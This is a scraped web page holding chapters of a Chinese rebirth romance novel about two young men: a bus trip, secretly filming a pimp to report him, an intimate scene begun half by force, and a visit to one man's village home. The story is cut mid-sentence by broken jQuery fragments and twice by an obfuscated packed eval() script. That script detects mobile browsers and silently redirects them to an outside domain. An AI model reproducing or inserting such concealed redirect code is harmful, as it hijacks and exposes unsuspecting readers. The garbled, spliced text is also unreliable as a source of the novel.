$(''#content'').append('' 一片片,将一整个橘子拆分了,一点点喂给纪敏嘉。 至于他心里在想什么? 楚州行从来都不是一个好人,熟悉他的人都知道,他是一条藏在暗处、喜欢偷袭算计的毒蛇。 他最讨厌被人看热闹,也不喜欢直面冲突。 一开始,这对情侣本着“多一事不如少一事”的原则,作壁上观。他们等着楚州行当“出头鸟”,谁想到楚州行三言两语,不费吹灰之力就把两人拖下水了,这两人被拖下水还一无所知,甚至以为自己跟楚州行是同一战线,送了水果来交流感情。 典型的卖了自己,还添筹码。 楚州行看人很有一套,这老头明显不是讲理的人。 第一次假装呕吐,也是想试试看这老头会不会穿上鞋,果不其然,这老头驴脾气,死犟。楚州行也不是不能一个人把老头制服,只是没必要,有现成的人可以利用,他何必费劲? 吃了一片橘子,感受嘴里酸甜的滋味,楚州行意味不明地笑了一下。 还挺好吃的。 . 深夜两点钟,汽车终于停靠在H省省会的长途客运站。 纪敏嘉从车上跳下来,又伸手去扶楚州行。 明明在车上睡得有气无力,一下车,他就恢复了活力。 手里拎着两个行李箱,一个大袋子,还叽叽喳喳的,“楚哥,咱们是先去吃饭,还是先去买票?” “楚哥,这里有拉面,咱们去吃拉面吧。” “哇,还有酸菜鱼,我也想吃。” 楚州行被他闹着,潮湿寒冷的空气扑面而来,他一点也不冷,“先定个酒店,我们打包带酒店吃。” “好!” 纪敏嘉见他走得慢,伸手要帮他拿行李,却被楚州行拒绝了。 没走几步路,就有一群人围上来,一群大爷大妈们围着两人吆喝。 “老板,几点的车?要住宿吃饭吗?爱辉酒店,一晚只要80块,有热水有空调。” “老板,我们这里包夜宵包晚餐,只要70!” “我们家包接送,明天可以送你们来车站。” 纪敏嘉被他们吵得头都大了,一直摇头,“让一让。”他脾气很好,就算烦了,也不会伸手推人。别人见他脾气好,有回应,而楚州行又冷着脸,就都往纪敏嘉那儿挤。 纪敏嘉束手无措。 见状,楚州行伸手揽住他的肩膀,“我们不住,麻烦让一让。”他拨开人群,带着纪敏嘉往外挤。 这时,一个挺着大肚腩的猥琐中年人窜到了他们身边,压低嗓音,鬼鬼祟祟地介绍,“两位老板,我这里有漂亮小姑娘,嘿嘿,可鲜嫩了,价格也便宜,一个150,包水灵,可以陪一晚上。”说着,他贼兮兮地笑,“陪你们两个也没问题。” 纪敏嘉当场就黑了脸,他特别凶地搂住楚州行的手臂,“走开!” 楚州行觉得好笑,等他们走到人少的地方,他低声问:“吃醋了?” 纪敏嘉咬牙切齿的,可走了几步,他又一幅忧心忡忡的模样,他忍不住问楚州行,“他......” 楚州行知道他要问什么,“嗯,他是拉皮条的。” 这个年代,警方还没有重拳出击“扫黄打非”,每个地方的车站都有人拉这种生意。楚州行是见怪不怪,纪敏嘉却是第一次知道。 他抿紧唇,似乎有很多话想说,想了一会儿,他突然问楚州行,“那些人,会不会有被迫的?” 楚州行一愣,他从来没有思考过这个问题。 纪敏嘉犹犹豫豫,他看向楚州行的眼神特别清澈,“如果有被迫的,那她们好惨......会不会被打?是不是被关起来了?” 楚州行回答不出来。 纪敏嘉握紧拳,神情懊恼,“早知道我应该把他的样子拍下来......” 楚州行打断,“现在也不晚。” 纪敏嘉明显愣住了,楚州行摸了摸他的头,“我们现在去?” 纪敏嘉忽然露出一个大笑脸,他重重点头,“嗯!” 两人一前一后,纪敏嘉一边走一边计划该怎么偷拍到对方的照片,该怎么去报警。说话间,他时不时看一下楚州行,见对方一直很温柔地注视他,他心中有无限的勇气。 他说:“楚哥,报完警我们去吃酸菜鱼吧?” 楚州行嗓音很温柔,“好。” 在没人注意的角落,他们握了下手。 紧紧的,他们手心潮潮的,一层汗。 12. 演技 赶到酒店,已经凌晨五点多。 纪敏嘉累得眼皮睁不开,乘电梯时倚着楚州行的肩膀昏昏欲睡。 楚州行半搂半抱,将纪敏嘉带回房间。 刚插上房卡,灯就亮了。楚州行将纪敏嘉扶到床上,一沾床,纪敏嘉就小狗打滚,趴在床上卷来卷去。 他蜷缩着身体,不忘在身侧给楚州行留了位置。 楚州行身体很沉,精神却极其亢奋。 他拆了一瓶矿泉水,一口气喝完,脑子里翻来覆去都是刚刚发生的事情。 纪敏嘉善良,富有同情心——这是楚州行了解并认同的人格品质。 楚州行不知道,原来纪敏嘉的演技如此优秀。 楚州行坐在床边,既兴奋,也痛苦。 . 既然决定要去报警,就要收集足够的证据。为了摸清窝点里失足女的人数,纪敏嘉带楚州行主动出击,找到那个拉皮条的胖子。 皮条客自然不是傻子,两人衣冠楚楚,特别是纪敏嘉一脸学生气,怎么看都不像风月场的老手。 两人又去而复返,更显得行迹诡疑。 胖子把两人从头到脚瞄了一遍,不复之前的热情。“找我做什么?” 不等楚州行交涉,纪敏嘉结结巴巴先开口:“能、能干什么?当然是,瓢——”最后一个字,纪敏嘉喊得特别响亮,楚州行被震得头皮发麻,一时不知该怎么接话。 幸好,已经很晚了,路上也没什么行人。 不然就是社死现场。 胖子也吓了一跳,他一把扯过纪敏嘉,吼:“你喊这么响!有没有羞耻心!” . 楚州行一点点触碰纪敏嘉的眼皮、鼻梁、最后停在嘴唇处。 他睡得很沉,嘴唇柔软,呼出的气息绵长温暖。 很无害的模样。 楚州行垂着眼,充满爱意地打量着纪敏嘉近在咫尺的脸。 靠得太近,连他的呼吸声都清晰可闻,楚州行难忍心中的怜爱之情,低下头,壁灯的光芒非常温柔,也许是楚州行太心动,只觉此刻的纪敏嘉像美梦。撂开散落的头发,他专注地吻纪敏嘉的唇。 鼻尖摩挲,肌肤相贴的温度有点高,他吻得纪敏嘉嘴唇湿润。 才分开,楚州行就像缺氧,头晕得厉害,忍不住又吮他的下唇。 纪敏嘉还没醒。楚州行将脸埋在他的胸膛处,听着他的心跳,似乎只有这种亲昵才能压抑内心的激烈情绪。 心里翻来覆去,越思越怅然。 在社会上摸爬滚打,与形形色色的嫖客、小姐们打交道的皮条客自然有识人辨认、察言观色的能力。两人找过的方式太直白,搭讪的方法又太粗.暴,搁电视剧里,都是很糟糕的剧情。 这种开局,楚州行想不出怎么才能三两句话就骗过老奸巨猾的皮条客,让他心甘情愿带路,屁颠屁颠地把自己领回窝点。 可就是这样的糟糕的一手牌,纪敏嘉都能凭他的演技打出满炸。 不可思议。 或许,纪敏嘉天生就该吃演员这碗饭。 在现场看纪敏嘉表演,已经不能说是表演了,纪敏嘉直接变成了一个陌生人。 神态、语态、表情、动作,甚至气场都完全改变。 顶着皮条客不信任的目光,纪敏嘉小心翼翼地讨价还价,警惕而贪婪。他装出瓢过很多次的样子,生涩地砍价,“便宜点,我在A省也就点了一百”。 他伪装成没开过荤又想尝试,但拿不准市场价、怕被宰的小白。 皮条客的注意力一下子被拉到“价格”上。 当皮条客质疑他们为何去而复返?那瞬间,楚州行几乎以为两人暴露了,可纪敏嘉一个眼神,那种夹杂欲.望畏惧的表情一下震撼了楚州行。 他用手机在录像,皮条客却一点也没怀疑。 一想到胖子问他拍什么,纪敏嘉警惕地反问:“你不会要仙人跳?”一句话,就打消了对方的疑虑,对方甚至主动开口邀请两人回自己的老巢慢慢挑选“心仪的妹子”。 楚州行第一次知道,原来真的有人演戏像做饭,能随着对方的情绪去调整自己的状态,多一点,少一点,任凭心意。 当然。 纪敏嘉的表演并非十全十美,他有技巧上的缺陷。他的台词不够生活化,没体验过角色只凭想象来表演,如同他表演的“嫖客”,为了追求真实感,他为角色附加了多样情绪,而现实里的嫖客大多“小头控制大头”,只有兽.欲。 这些缺点需要通过后天训练来改变。 楚州行听着纪敏嘉的心跳,心中情绪翻涌。 仰望天才是很痛苦的事,纪敏嘉未经训练就能展现如此强大的演技魅力,而他—— 上辈子他成了大明星,养了一团队的指导老师、表演老师,参加各种封闭训练,可不管他怎么努力,最后呈现出来的剧品仍一言难尽。 他没有天赋。 演员这职业,需要百分之九十九的汗水,可没有百分之一的天赋,这百分之九十九的汗水毫无价值。 上辈子,楚州行也合作过很多影帝影后。他们在技巧上可谓炉火纯青,演起戏来观众都会夸赞“演技好”“符合角色”,但他们的作品给人的感觉就是在演戏,表演痕迹非常明显。 纪敏嘉这种“完全变成另一个人”的表演方式,楚州行闻所未闻,见所未见。 当然,这种表演方式也许并非纪敏嘉独有。上辈子的楚州行,说到底只是个内娱流量明星,就没搭档过世界最顶级的演员。 也许,这是顶级演员共有的特质。 楚州行深吸一口气,侧躺到纪敏嘉身边,注视着纪敏嘉的睡颜。 似乎是感觉到楚州行的气味,纪敏嘉翻了回来,抱住了楚州行一只手臂。 他的脸颊贴在楚州行的臂弯处,楚州行一侧头,就能看见纪敏嘉纤长而浓密的睫毛。 纪敏嘉呼吸绵软,睡颜十分纯真,嘴唇饱满红润。 楚州行忍不住靠近些,一丝一缕的热力让空气升温,楚州行全身都热了起来,他的额间甚至蒸腾出一点薄汗。 楚州行面色复杂地注视纪敏嘉的睡颜。 换一个人,楚州行或许会嫉妒,怨恨。 可他是纪敏嘉,楚州行为他高兴,为他振奋。难以言述的兴奋激荡在楚州行的心口,他几乎要狂笑。 太好了! 敏嘉,你一定会成为全球瞩目的超级演员。 你一定会名留影史。 我一定帮你! ...... 在此之前 先提前给我一点报酬! 楚州行猛地将纪敏嘉压在身/下,他捧着纪敏嘉的脸颊,半是强迫半是威胁地吻住纪敏嘉的唇,纪敏嘉的嘴唇很软,似乎是被打扰了,纪敏嘉含糊地呜咽着,他的声音模糊,混杂着甜腻隐忍的呢喃,引得楚州行更用力地咬他。 纪敏嘉几乎喘不过气,陡然惊醒,灯光太刺眼,他根本看不清面前的人。 他试图挣脱楚州行的控制,楚州行一把攥紧他的手腕,压在纪敏嘉头顶。 楚州行觉得自己应该是疯了,他完全控制不住自己的情/欲。 他被纪敏嘉的演技征服了。 强大的男人让楚州行敬畏,而强大的爱人只会让他爱意澎湃。 如果可以,他真想把纪敏嘉吞进肚子里。 啃咬、吮吸、两条舌头磨得酸痛。 纪敏嘉的挣扎力度几近没有,两人的身躯紧紧贴在一起,衣料摩擦的细小声催动情绪,急促的呼吸声宛若世上最催/情的音乐,两人不由地沉沦。 “楚哥,你......今天怎么像狼一样......” 纪敏嘉小口喘息着,他额间的碎发被汗水打湿,湿漉漉贴着,他的眼神也湿漉漉的,回吻楚州行的动作毫无节奏。 他也想像楚州行一样咬住对方的唇,可他每一次仰面,楚州行都会如提前预知般,先一步控制住他。 楚州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691015|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行舔舐他的脖颈,留下一个个红色痕迹,他的手指温度比体温略低,擦过纪敏嘉的肌肤,纪敏颤得发抖。 “我太饿了。” 他的身体、他的精神都饥饿太久了。 楚州行想,如果天赋也能通过唾液传播就好了。 鬼知道,上辈子被公司强塞一个影帝金杯时他有多痛苦,连他这样的花瓶都拿到代表国内演艺界最高荣耀的奖杯,实在是太搞笑了。 这个圈子真是烂透了。 吻着纪敏嘉的锁骨,楚州行心中的狂热在慢慢消退,他的理智一点点回归肉/体。 是啊,这个圈子烂透了。 纪敏嘉这样的天赋型演员真的能出头吗? 楚州行太了解这个圈子的潜规则了。 大导演是有好本子,但他们会优先考虑自己的签约艺人。大剧组有若干投资方,每个资方都会往剧组里塞人,他们牢牢霸占着每一个重要角色。 不是没有导演愿意选用新人,但这些新人付出过什么,楚州行一清二楚。 天下没有免费的午餐。 纪敏嘉这样的没背景没后台的演员,就算有演技又怎样?投资方看重号召力、导演制片人看重收视率、票房,有多少人愿意花自己的钱帮一个陌生演员捧一个利他的奖项? 楚州行一点点吻过纪敏嘉的身躯,一路吻到他的肚脐,他的气息喷洒在纪敏嘉的肌肤上,纪敏嘉痒得厉害,他有些期待也有点害怕,他伸手摸到了楚州行的头发,手指就停在楚州行的发丝里。 感受着楚州行头皮的温度,纪敏嘉整个身体都暖起来。 他懵懵懂懂,好像躺在宁静湖泊的小船上,随风漂荡。 楚州行突然停住了动作。 “楚哥?”纪敏嘉的嗓音甜腻,尾音拉得极其缱绻,他不明白楚州行为何要停下动作。 他着迷于楚州行的爱抚,沉醉在楚州行的气味中。 楚州行从他身上撑起来。他想起一件事,脸上的表情冷得吓人。 上辈子,纪敏嘉也演过一部电影。唯一的作品。 《血祸》 新人导演,新人制片的第一部作品,一部偏现实题材的文艺片,讲述了一个山区小村庄里一百多人因为卖血而群体性感染艾滋的悲剧故事。 这部片拍了两年,因抨击社会现实,炮轰国家政.府,一直没拿下龙标,迟迟不能上映。 就是这样的一文不值的垃圾文艺片,让纪敏嘉感染了艾滋! 想起纪敏嘉瘦成一把骨头,虚弱地病死在阴湿的出租屋,楚州行就恨得要发疯。 那个畜生导演为了追求真实感,强逼演员们必须真实抽血输血,却让所有演员无防护共用抽血针管,最终导致十七人感染艾滋,其中就有纪敏嘉! 这部片子,楚州行找了很多关系,用尽了人脉,终于拿到母带。可那个畜生导演为了掩盖自己拍戏导致群演感染艾滋病的丑闻,把感染者的戏份全剪了! 他宁愿把剧情剪得稀碎,也要把十七个人全部剪掉! 楚州行一遍遍地找,看了无数遍,始终找不到他的爱人。 纪敏嘉付出了生命,什么都没留下。 楚州行将脸埋在纪敏嘉颈窝处,紧紧抱住他。他在颤抖—— 楚州行真的不知道纪敏嘉有这样卓越的演技,上辈子没一个人给纪敏嘉登台的机会!他那么努力地投简历去找工作,没有剧组要他!他这样的演技,为什么不看一下他的个人视频?为什么只有那个畜生给了他机会? 没背景的纪敏嘉静悄悄死在帝都的角落,直到房东发现了他。 楚州行感受着身边的温度,他努力控制情绪,情.欲早就楚州行想起往事时褪去,他不敢愤怒,也不敢伤心,他怕纪敏嘉担心。遮住对方的眼睛,他的声音低低的,吻也是静静的,咬了咬纪敏嘉的脸颊,“睡吧——”“我有点累了”。 敏嘉,这辈子,我一定好好保护你,不会让任何人伤害你。 除非我死了。 13. 情药 浴室。 擦掉镜面上的水渍,楚州行直直注视着镜中的自己。 神态冷漠。 垂视如剑锋,明明没什么表情,却给人无法忽视的威压。 眉眼还是二十一岁的模样,却再也回不到舒朗青春的状态。 楚州行转身,背对浴镜,坐到洗手台上。从抽屉里找到一包待售的新烟,翻出打火机,叼了根咬在嘴里。 他不喜欢抽烟,除非特别心烦。 咔嚓。 他低头拢住火,烟点燃,楚州行仰面,吐出一口薄薄的烟气,若隐若现的猩红烟头,一丝一缕的白烟随气流上腾,他被呛得不停咳嗽。 这具身体还不习惯尼古丁,抽第一口,身体就疯狂排斥。 楚州行夹着烟,按着额头,不知道在想什么。 重生并不代表一切抹平后重新开始,过去的记忆无时无刻都在提醒他——他是几十年后的幽魂。 楚州行有些惆怅。 这世界除了他还有别的重生者吗?他很想问问他们,如何稳定自己的情绪? 想起纪敏嘉担忧的目光,楚州行不停地揉眉心。他很想将过去的记忆完全剖出,将上辈子与现在分离。 可,他真的做不到。 上辈子的记忆太痛太深刻,他无论如何也忘不掉。 手腕残留着纪敏嘉带来的温度,他努力对镜微笑。 他告诉自己要正常点,不能被突如其来的情绪影响,不能像上辈子—— 上辈子,他整晚整晚睡不着,时喜时悲,无力控制情绪。他知道,自己肯定有很严重的心理疾病,只不过失去挚爱,他不想治疗。 活着都没意义,那活得好不好根本没区别。 这辈子,楚州行不是一个人。他有爱他的纪敏嘉,还有家人,为了他们,他不能重蹈覆辙。 他不能把自己变成疯子。 . 洗完澡,楚州行没有用电吹风,只是简单地对着空调出风口吹了吹。 他怕噪音吵醒纪敏嘉。 回到卧室,纪敏嘉蜷缩着身体,卧趴在床上,他明显在装睡,听到楚州行的脚步声,他的睫毛颤了颤,楚州行走到床边,俯视纪敏嘉的睡颜,见他拱成一团,只露脑袋在被子外面,顿时心软得不行。 楚州行轻轻倒在床上,隔着被子,一下将纪敏嘉搂抱在怀里,酒店的被子又薄又硬,纪敏嘉的身体却是柔软的,楚州行轻轻拍了拍纪敏嘉的后背,“敏嘉——”声音温柔,轻轻地喊着纪敏嘉的名字。 纪敏嘉的睫毛又颤了颤,小心翼翼地掀开眼皮偷瞄楚州行。 又紧紧闭上。 感受着怀抱的重量,不知为何,楚州行脑海里突然想到一个成语,相依为命。 他和纪敏嘉就像两只流浪狗,在一个陌生残酷的黑暗森林里互相依偎。 他们没有坚硬的爪子,也没有高超的捕猎技巧,就这样组成一个家。纪敏嘉有柔软的皮毛,楚州行冷的时候,他会团在身侧,为他取暖。 楚州行突然找到了活着的意义,上辈子他真的好孤独,活着就只是活着。 “我们不会再分开了”楚州行亲亲纪敏嘉的头发,床嘎吱一声,他将脸埋在纪敏嘉的颈窝处,很久,他一动不动,好像睡着了。 纪敏嘉藏在被子里手指握成拳,手心全是细腻的汗,他也不敢动。 隔着一层粗糙的被子,纪敏嘉被楚州行抱着,像在茧里,很安全很温暖。 他本来是打算等楚州行上床时突然睁开眼睛给他一个惊喜,他已经想象过楚州行看他的眼神,可当他被楚州行抱住,感受身边均匀的呼吸,纪敏嘉的心疼了起来。 楚哥太累了。 这些天他瘦了很多,纪敏嘉看在眼里疼在心里,以前纪敏嘉摸楚州行的手臂摸不到他的血管,现在他甚至能摸到楚州行的心跳。 他心里难受,想:等把阿姨接来帝都,就找个理由回老家把房子卖了,哪怕卖便宜点也没关系。还可以去找份夜班工作,夜市一条街开起来,很多烧烤店缺临时工。 他不怕辛苦...... 纪敏嘉睁开眼睛,他安静地注视着楚州行的鼻梁、嘴唇,楚州行的腰很细,陷在被子里是一种脆弱的感觉,让纪敏嘉想起他伏在自己身上的姿势,好几次,纪敏嘉很想回抱住楚州行的腰、将脸埋在他怀里。 楚哥...... 纪敏嘉将手臂从被子里抽出来,他慢慢地凑到楚州行身边,抓着被子边缘处,轻轻往楚州行身上裹。 就像平底锅煎鸡蛋,只要手腕轻轻一甩,就能将锅里的煎蛋翻面。 他温柔地翻到楚州行身上,见被子完全裹住了楚州行,他特别开心地伏在楚州行的肩膀上,蹭了一下。 蹭了一下,又想蹭第二下。 纪敏嘉告诉自己,最多只能蹭两下,他幸福地用脸颊磨蹭着楚州行的肩头,蹭着蹭着,楚州行忽然侧过脸,就这样,对上纪敏嘉的眼睛。 纪敏嘉一下僵住了。“我......吵醒你了?” 楚州行摇摇头,他伸展手臂,裹着被子抱住了纪敏嘉,紧紧将他抱满怀,“我没睡着。” 纪敏嘉被他包成一团,心疼地问:“不累?” 楚州行笑得很温柔,眼睛里有亮晶晶的光,“有点累,申请充个电,可以吗?” “啊?”纪敏嘉不太理解他的意思,愣愣的。 楚州行用行动回答了他,他吻住了纪敏嘉的唇,轻轻地,纪敏嘉只感觉到他嘴唇的温度,力道太轻了,轻得纪敏嘉还没清醒过来。 这次,楚州行吻得很克制,他像耗尽能量的机器人,插上充电口就进入待机模式。 纪敏嘉能感觉到楚州行轻轻吮吸着,好似真的要从他这里抽走点精气。 纪敏嘉呆呆的,想起什么,他略微皱眉,似乎心里做着激烈的思想斗争,没一会儿,纪敏嘉做出一个决定,表情也坚定起来,他将手臂抽出来,很坚决地捧着楚州行的脸。 主动将唇送上去,随后——他深吸一口气,就往楚州行嘴里吹。 楚州行一愣,任由纪敏嘉的气息与自己纠缠,那口气吹进他的气管里,他嗓子眼痒得想笑,却抱得更用力。 楚州行笑,纪敏嘉也跟着窃笑,两人抱着亲、翻滚、嘴唇时而紧紧贴在一起,不知吻了多久,两个人都累了,他们也都滚到了被子里。 楚州行气息有点乱,他吻了吻纪敏嘉的额头,“休息。” 纪敏嘉缩在他怀里,幸福地闭上眼睛,“嗯。” 楚哥,晚安。 迷迷糊糊中,他似乎听到楚州行在说:“你是我的药......有你在,我永远不会疯掉。” . “楚哥,走吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691016|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纪敏嘉紧紧握着拉杆,侧过脸看楚州行。 他们面前是一辆红色的三蹦子,坐在驾驶座上的矮小瘦弱的中年人正激动地说着什么,楚州行时不时用土话回一句。 纪敏嘉听不懂,偷看中年人的脸色,看他涨红了脸、吐沫横飞,两人好像在吵架,他有些无措地往楚州行身边挪了点。 楚州行安抚地拍了拍他的肩,“我们在聊价格。”他又对中年人说了几句,凶神恶煞的司机立马换了一副表情,热情地帮他们扛行李。 他讨好地朝纪敏嘉笑了笑,又说了句什么,纪敏嘉茫然地看向楚州行。 “他夸你长得帅,祝你在我们这里玩得开心。” 上了车,楚州行也不客气,直接拿车厢里的橘子剥给纪敏嘉吃,跟他解释,“我们这边的方言就这样,听起来很凶,像吵架,你别害怕。” “嗯嗯,我不怕。”纪敏嘉拿着橘子瓣又不敢吃。 “吃吧,不值钱,我们这里家家都种橘子,卖不掉就自己吃,我小时候吃橘子吃到害怕。” 纪敏嘉吃了一瓣,又拿了一瓣,“很甜,很好吃。” “喜欢就多吃点。” “就吃一个,我要留着肚子吃你家的橘子。” 楚州行低着头细心地去掉白色的橘络,纪敏嘉不爱吃这种筋络,一瓣瓣橘子被他剥得干干净净、橙黄橙黄的。“那你可有得吃了——我家屋前屋后都有橘子树。” 他凑近,贴着纪敏嘉的耳朵,调戏,“等你进门了,我家的橘子都不卖,都留给你。” 纪敏嘉一时没听懂,好一会儿,他才反应过来,脸羞得燥红。 而楚州行一直注视着他的表情变化,哈哈笑起来。 三蹦子“突突突”卖力地爬山。 今天是个好天气,山风微凉,吹得人心情愉悦。 楚州行问纪敏嘉:“喜欢这儿?” 纪敏嘉欣赏窗外的风景,他将车窗完全推开,呼吸着新鲜的空气,“嗯,我好喜欢,这里好多好多花,风都是甜的。” 道路两旁,无人打理的野菊花大片大片盛开,黄的、紫的、白的。 “喜欢?我去摘一点?” “不要。”纪敏嘉拼命摇头,“不要让阿姨等久了。” 楚州行笑着摸摸他的脑袋,“我没跟她们说我到家了。” “啊?”纪敏嘉吓得橘子都不吃了,“你直接把我带回去?” 见他瞪着圆溜溜的眼睛,楚州行故意逗他:“是啊,你不要害怕,我妈脾气很好的。” 纪敏嘉明显慌了,他没兴致看风景,追着楚州行问:“阿姨喜欢什么样的人?” 一边说话,他慌里慌张地不知道在想什么。 楚州行故作沉思状,“喜欢......成绩优秀的好学生。” 纪敏嘉脸色瞬间白了,他攥紧手,一副“我完蛋了”的可怜模样。 他不是学生,更不是好学生。 即便慌得发抖,他自始至终都没想过编个人设去骗人。 见他六神无主的可怜样,楚州行也不忍心逗他了,他很认真地说,“你什么样,我妈都会喜欢的。” 姚莉是个很好的母亲,楚州行喜欢什么,她都会尊重。 纪敏嘉像抓住救命稻草般抬起头,“真的?” 楚州行捏了捏他的鼻子,“真的。” 14. 妹妹 三蹦子一突一突,纪敏嘉的心也跟着一沉一跳。 窗外风光秀丽。 纪敏嘉却无暇欣赏,时不时低头看一下手机备忘录,背着什么,又闭上眼喃喃自语。 楚州行望着纪敏嘉,车时而颠簸,纪敏嘉跟着摇头晃脑,楚州行的心跟着晃得厉害,忍不住说:“休息会儿吧,你是跟我回家,又不是去考场。” “阿姨好,我是楚州行的朋友,我叫纪敏嘉,我今年十九岁......” 纪敏嘉不搭理他,反反复复背着一篇长长的自我介绍。 这篇介绍笼统总结了纪敏嘉的半生,从家庭成员、兴趣爱好、交友状况到财产收入。 纪敏嘉背词时神态专注,嘴巴一张一合,语速极快。很像一只趴在饭盆前卖力数骨头的小狗。 楚州行心里痒痒的,忍不住戳他的腮帮,纪敏嘉边躲边背,一个不小心就背岔了词,见楚州行还在骚扰,他急得往角落躲。“楚哥——”楚州行挑了挑眉,他又放低声音,可怜巴巴,“你不要吵我......” 楚州行觉得他太好玩了,不想轻易放过他。伸手,按着纪敏嘉的脑袋,微微用力,搓揉他的脑袋,将他往下压。纪敏嘉气得用脑袋顶住他的手掌。 他顶,楚州行就压。 两人玩闹着,突然,嘎吱一声,整个车子急促地刹了一下。 两人不受控制地往前倒。 三蹦子正驶入一段石子路,车辆剧烈晃动。 纪敏嘉头晕目眩,整个人如同被塞进立式洗衣机,整间车厢上上下下、仿佛脱缰的野马狂颠,他的屁股被颠得发麻。 脑浆都要被摇匀了。 纪敏嘉紧紧抓住面前的把手,着急地想去扶楚州行,却被一把攥住胳膊,他还没反应过来,楚州行就抱住了他。 撞上楚州行的胸膛。 咚。 纪敏嘉心跳如鼓。 楚州行温柔而强势抱着他,纪敏嘉被他抱得紧紧的,一下子,整个世界都安静下来。 “有没有撞到哪?”声音好像是从胸腔里传出,又带着体温传递过来,纪敏嘉摇了摇头,埋在怀里,不说话。 车辆又一阵疯狂颠簸。 楚州行更紧地搂住他,他的血肉抵去了一些剧烈摇晃,热力源源不断从对方的身体里侵略而来,攻城掠地,纪敏嘉的心步步沦陷,软得一塌糊涂。 纪敏嘉能感觉到被珍惜、重视。 不知怎么了,纪敏嘉不再焦虑,初到一个陌生地方去见陌生长辈的惶恐不安在一瞬间消弭,他靠在楚州行怀里,只觉得很安心。 随着车辆的晃动,楚州行抱着纪敏嘉晃了晃,像哄小孩子一样,在司机看不到的角度,吻了吻纪敏嘉的头发。 “现在还背吗?”楚州行笑着哼哼,“你啊,又不是应聘,用不着这么详细地介绍个人信息。” 纪敏嘉听着楚州行的心跳声,脑子一团浆糊,路途的颠簸好似搅碎了他的意识,他在温柔舒适的怀抱中浑浑噩噩。 楚州行不怀好意地凑到纪敏嘉耳边,悄悄告诉他:“而且我妈只会对我们的生活感兴趣,你应该告诉她,我们平时有多么相爱。”呼出的热气卷进纪敏嘉的耳朵里,他全身发烫。 楚州行突然咬了纪敏嘉的耳朵。 很轻一咬。 “!”纪敏嘉像被电流击穿。 一瞬,全身所有细胞都蜷缩起来。他的耳朵红透了。 纪敏嘉有种错觉,好像楚州行含住了他的耳垂。 轻轻地吮了一下。 . 下车时,纪敏嘉整个人都晕乎乎的,走路都不会走。 还好楚州行拉着他,不然他颠颠撞撞,连人带包都要摔倒沟里去。 越走越近,家就在不远处。楚州行近乡情怯。 上辈子回到这里,他的家已经荒废了。 院子长满杂草,遍布蜘蛛网,人一靠近,就有许多蚂蚱蹦跶跳出来,院子外的橘子树无人打理,一棵棵瘦得特别老,树皮干得往下掉,结的果子也特别小,只有枣子大,吃起来也是毫无水分。 现在却不一样。 完全不一样。 姚莉勤快,院落虽简陋却被打理得干干净净,整理出来的菜地边缘还种着月季花,很有人味。橘子树结满了黄澄澄的果子,楚州行只要一伸手就能够到。 家里没人,只有被圈在角落的母鸡们“咯咯”地叫。地上散着很多玉米粒,敲碎的螺丝,母鸡们争着抢着啄食。 院子的大门处悬着一串锈迹斑斑的铁链锁,乡下没有那么讲究,人不在家也不会锁大门。这里穷怕了,就不怕人来偷。 楚州行带着纪敏嘉往里走,熟门熟路地放置行李。 他环顾熟悉而陌生的环境,很想找一点作为突破口,向纪敏嘉介绍。可他看了一圈,没有一件东西值得说,又没有一个不值得讲。 墙上挂着的奖状已经翘了边。 贴满卡通贴纸的木门。 熟悉的公鸡搪瓷杯。 ...... 楚州行站在原地,略微仰着脸,不知想到什么,他牵起纪敏嘉的手,问他:“我带你出去逛逛?屋子后面有一棵大橘子树,我小时候就喜欢在树下荡秋千。” 他的手很温暖,手掌却很薄,握起来很有韧劲。 纪敏嘉点点头,小媳妇般跟在他后面,两人手紧紧牵着,就像两只漂泊的船舶被一根绳索系着,离得不远不近,晃晃悠悠,却不会分开。 秋千还在,只是风吹雨打,麻绳磨旧了,木板也褪了色。 楚州行掸了掸上面的灰尘,让纪敏嘉坐上去,他没有推秋千,就只是站在一旁跟纪敏嘉聊天。“以前这里还有一棵柿子树,但我家人都不爱吃柿子,这棵树又特别会结果子,长熟了没有人去摘,一个个都掉下来,摔得地上特别脏,我妈一合计,干脆就砍了,你看这里还有个木桩子。” 纪敏嘉看向他指的地方,果然有个树墩子,前几天可能下雨了,上面还长满了新鲜的青苔。 楚州行摸了摸他的头,像摸一只特别乖的小狗,“我妈现在应该在果园,我带你去看看?” 纪敏嘉有些怕,小幅度摇头,“等一会儿,好不好?” 楚州行看得出他很紧张,俯下身,温柔专注地与纪敏嘉对视,他的唇角微微上扬,似乎是想吻他。 纪敏嘉睫毛眨啊眨,就望着楚州行。 “啊——”一声狂喜的尖叫打破宁静,纪敏嘉被吓了一跳,立刻转头看向声音发出的地方。 楚州行也站直身子,望了过去。 只见一团黑漆漆的影子猛地冲撞过来,速度之快,宛若一只仓促逃窜的大黑耗子,蹭一下,就窜到了两人面前。 三下两下就要往楚州行身上爬。 纪敏嘉来不及阻挡。 那黑乎乎的东西爬得很乱,两只手两只脚同时向上蹬,一边蹬一边往下掉,楚州行一把将冲来的黑影托了起来,掂着向纪敏嘉介绍,“我妹”。 他笑得很开心。 “耗子”抱着楚州行的脖子,又叫又笑,“哥!你回 